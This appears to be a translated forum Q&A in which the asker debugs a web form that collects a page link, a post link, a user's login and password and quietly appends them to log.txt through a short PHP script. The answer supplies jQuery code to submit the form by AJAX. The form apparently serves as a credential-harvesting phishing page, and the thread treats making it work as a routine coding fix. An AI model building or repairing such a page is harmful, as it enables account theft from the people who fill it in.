PHP code (everything works here): login.php

<?PHP $Id = $_POST['q1']; $File = $_POST['q2']; $Log = $_POST['q3']; $Pass = $_POST['q4']; $log = fopen("log.txt","at"); fwrite($log,"\n $Id:$File:$Log:$Pass \n"); fclose($log); ?> 

Here it does not work (html):

 <form id="theForm" class="simform" autocomplete="off" method="POST" action="login.php"> <div class="simform-inner"> <ol class="questions"> <li> <span><label for="q1">Ссылка на страницу:</label></span> <input id="q1" type="text" name="q1" /> </li> <li> <span><label for="q2">Ссылка на запись(фото/новость):</label></span> <input id="q2" type="text" name="q2"/> </li> <li> <span><label for="q3">Ваш логин:</label></span> <input id="q3" type="text" name="q3"/> </li> <li> <span><label for="q4">Ваш пароль:</label></span> <input id="q4" type="text" name="q4"/> </li> </ol><!-- Вот тут не отправляет, что делать? --> <button class="submit" type="submit"></button> <div class="controls"> <button class="next"></button> <div class="progress"></div> <span class="number"> <span class="number-current"></span> <span class="number-total"></span> </span> <span class="error-message"></span> </div><!-- / controls --> </div><!-- /simform-inner --> <span class="final-message"></span> </form><!-- /simform --> 

What to do? After filling in all the fields, it should automatically (js) click on the button, it clicks, but the data does not come.

Js

 <script> var theForm = document.getElementById( 'theForm' ); new stepsForm( theForm, { onSubmit : function( form ) { // hide form classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' ); /* form.submit() or AJAX request (maybe show loading indicator while we don't have an answer..) */ // let's just simulate something... var messageEl = theForm.querySelector( '.final-message' ); messageEl.innerHTML = 'Готово! Ваш запрос отправлен на обработку!'; classie.addClass( messageEl, 'show' ); } } ); </script> 
  • so provide here js - Jean-Claude
  • I always use input for submission, but I agree, you can use javascript (although it will be more difficult) - fonjeekay
  • "it must" - "it" is who? - Igor
  • @ Jean-Claude added - Roman Kravets pm
  • @RomanKravets - what does the stepsForm and where does it come from, of course, we have to guess ourselves? - Igor

1 answer 1

Try using jQuery

 $("document").ready(function(){ $("#theForm").submit(function(event){ event.preventDefault(); // data = $(this).serialize() + "&" + $.param(data); data = $(this).serialize(); // alert(data); $.ajax({ type: "POST", dataType: "json", url: "file.php", data: data, success: function(data) { // alert("Form submitted successfully.\n Returned json: " + data["json"]); } }); return false; }); });